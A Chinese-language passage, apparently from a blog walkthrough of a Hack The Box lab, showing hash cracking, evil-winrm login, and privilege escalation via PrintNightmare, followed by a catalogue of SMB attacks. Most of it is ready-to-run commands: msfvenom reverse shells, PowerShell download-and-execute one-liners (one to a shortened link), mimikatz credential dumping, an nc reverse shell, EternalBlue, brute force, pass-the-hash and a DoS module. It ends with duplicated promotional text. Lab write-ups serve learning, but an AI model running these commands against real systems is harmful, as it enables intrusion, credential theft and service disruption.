john --format=netntlmv2 123.txt -w=top100.txt
成功得到用户名和密码:tony:liltony
根据开放的445和5985端口,连接一波;
尝试psexec连接失败;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pB7Ofv13-1635337682265)(https://upload-images.jianshu.io/upload_images/26472780-ac960ef4943dcd51.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
evil-winrm -i 10.10.11.106 -u tony -p liltony
连接成功,下面就要开始想办法进行提权。
smb带用户名密码登录
利用得到的用户名和密码,再次尝试登录smb共享;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WjhLPGxj-1635337682278)(https://upload-images.jianshu.io/upload_images/26472780-d7ed45ca1d8f9f6a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
提权
主机信息收集
尝试使用命令,结果没有权限执行;
那就用脚本来跑,常用的是winPEASx64.exe或者winPEAS.bat,这里有个小坑,程序运行时要加反斜杠;
结果很多,最后发现print spooler service 服务;
利用最近的WINDOWS PRINT SPOOLER远程代码执行漏洞(CVE-2021-1675)来提权。
https://github.com/calebstewart/CVE-2021-1675
测试发现直接导入powershell脚本会报错;
下面分别采用2种方法;
msf加载powershell
生成个木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.4 LPORT=7777 -f exe > hack.exe
- 1
- 2
接收反弹;
利用evil-winrm上传hack.exe,运行;
程序会报错且会话中断,迁移下进程,再次尝试;
需要事先上传ps1脚本到主机对应的位置,否则找不到脚本;!
这次就成功执行了脚本,添加了一个新的用户且有administrator权限。还可以尝试一波远程运行ps脚本。
远程运行powershell脚本
远程下载文件到本地并执行
cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://127.0.0.1:8089','notepad.exe');start-process notepad.exe
- 1
- 2
远程执行ps1脚本
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
- 1
- 2
自己搭建个http服务器
远程运行ps脚本;
IEX(New-Object Net.Webclient).downloadstring('http://10.10.16.4:8000/CVE-2021-1675.ps1')
Invoke-Nightmare -NewUser "hack123" -NewPassword "hack123"
- 1
- 2
- 3
抓取密码试试;
./mimikatz.exe privilege::debug "sekurlsa::logonpasswords" exit
至此,成功拿下了该主机,下面彩蛋环节,总结下其他几种smb常见的攻击方法。
smb攻击方式
Windows SMB 的版本
CIFS:SMB 的旧版本,于 1996 年包含在 Microsoft Windows NT 4.0 中。
SMB 1.0 / SMB1:在 Windows 2000、Windows XP、Windows Server 2003 和 Windows Server 2003 R2 中使用的版本。
SMB 2.0 / SMB2:此版本用于 Windows Vista 和 Windows Server 2008。
SMB 2.1 / SMB2.1:此版本用于 Windows 7 和 Windows Server 2008 R2。
SMB 3.0 / SMB3:此版本用于 Windows 8 和 Windows Server 2012。
SMB 3.02 / SMB3:此版本用于 Windows 8.1 和 Windows Server 2012 R2。
SMB 3.1:此版本用于 Windows Server 2016 和 Windows 10。
目前,SMB 的最新版本是 SMB 3.1.1,它是在 Windows 10 和 Windows Server 2016 中引入的。该版本除了支持 SMB3 中添加的 AES 128 CCM 加密外,还支持 AES 128 GCM 加密,并使用SHA-512 哈希。当连接到使用 SMB 2.x 及更高版本的客户端时,SMB 3.1.1 还强制要求进行安全协商。
永恒之蓝
我们运行以下MSF模块,该模块将直接利用目标机器。
use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set rhost 192.168.1.101
msf exploit(ms17_010_eternalblue) > exploit
- 1
- 2
- 3
- 4
暴力破解
hydra -L user.txt -P pass.txt 192.168.1.101 smb
-L --> 表示用户名列表
-P --> 表示密码
- 1
- 2
- 3
- 4
如果破解成功,就可以枚举系统上的用户;
use auxiliary/scanner/smb/smb_enumusers
msf auxiliary(smb_enumusers) > set rhosts 192.168.1.101
msf auxiliary(smb_enumusers) > set smbuser raj
msf auxiliary(smb_enumusers) > set smbpass 123
msf auxiliary(smb_enumusers) > exploit
- 1
- 2
- 3
- 4
- 5
- 6
实测一下;
PSexec 连接SMB
可以用msf里的模块;
use exploit/windows/smb/psexec
msf exploit windows/smb/psexec) > set rhost 192.168.1.101
msf exploit(windows/smb/psexec) > set smbuser raj
msf exploit(windows/smb/psexec) > set smbpass 123
msf exploit(windows/smb/psexec) > exploit
- 1
- 2
- 3
- 4
- 5
- 6
因为本次渗透无法成功,补了之前的一张图;
还可以用Impacket中的psexec.py
#用明文密码连接
./psexec.py xie/administrator:密码@192.168.10.131
#用哈希值连接
./psexec.py xie/administrator@192.168.10.131 -hashes AADA8EDA23213C025AE50F5CD5697D9F:6542D35ED5FF6AE5E75B875068C5D3BC
- 1
- 2
还可以直接用psexec.exe程序;
Rundll32 One-liner
通过Metasploit的SMB Delivery启动Rundll32攻击
Metasploit还包含了生成恶意dll文件的“SMB Delivery”模块。该模块通过SMB服务器提供payload,并提供检索和执行生成payload的命令。目前支持DLL和Powershell。
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109
msf exploit(windows/smb/smb_delivery) > exploit
- 1
- 2
- 3
- 4
这将生成恶意 DLL 文件的链接,现在将此链接发送到你的目标并等待他的操作。
一旦受害者在运行提示符或命令提示符内运行恶意代码,我们就会在 Metasploit 上获得一个 Meterpreter 会话。
SMB DOS 攻击
SMB Dos 攻击是我们在 Metasploit 框架中拥有的另一种最优秀的方法。
该模块利用 Windows 7 和 Windows Server 2008 R2 上的 Microsoft Windows SMB 客户端中的拒绝服务缺陷。要触发此错误,请将此模块作为服务运行,并强制易受攻击的客户端作为 SMB 服务器访问此系统的 IP。如果目标使用 Internet Explorer 或 Word 文档,则可以通过将 UNC 路径 (\HOST\share\something) 嵌入到网页中来实现。
use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
msf auxiliary(ms10_006_negotiate_response_loop) > set srvhost 192.168.1.106
msf auxiliary(ms10_006_negotiate_response_loop) > exploit
- 1
- 2
- 3
- 4
远程文件传输和运行
文件传输用法如下:
利用著名的impacket包里的smbserver.py,进行文件传输。
目录根据你自己定smbserver.py share ‘/root/exp’
然后在监听的shell里copy CEH.kdbx \10.10.14.57\Share,成功收到文件
还可以远程运行程序;
开启impacket里的smbsever服务,把ms15-051x64和nc64.exe放到我指定的共享文件,
python smbserver.py Share '/root/htb/bastard'
在shell里执行反弹;
\\10.10.14.57\share\ms15-051x64.exe "\\10.10.14.57\share\nc64.exe -e cmd 10.10.14.57 443"
另外本机监听443.收到,搞定
总结
对于SCF文件攻击,我们也可以通过下列方法来防止这种攻击的发生:
1、使用Kerbeors认证或SMB签名;
2、禁用共享文件给未认证用户所提供的写入权限;
3、确保使用的是NTLMv2密码并增加口令的复杂程度。
建议
多看书
阅读永远是最有效的方法,尽管书籍并不一定是最好的入门方式,但书籍的理解需要一定的基础;但是就目前来看,书籍是比较靠谱的入门资料。
现在Web安全书籍比较多,因此大家在学习的过程中可以少走了不少的弯路。如果以上推荐书籍阅读有困难,那就找自己能看得进的 Web 安全的书
当然纸上谈兵终觉浅,最好还是实践一下。
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
[外链图片转存中…(img-VLVh6wZI-1715592753754)]
[外链图片转存中…(img-fK5R50Gr-1715592753755)]
[外链图片转存中…(img-1s8OJVFe-1715592753755)]
[外链图片转存中…(img-VdgF2JXN-1715592753755)]
[外链图片转存中…(img-8A9PfeXt-1715592753755)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!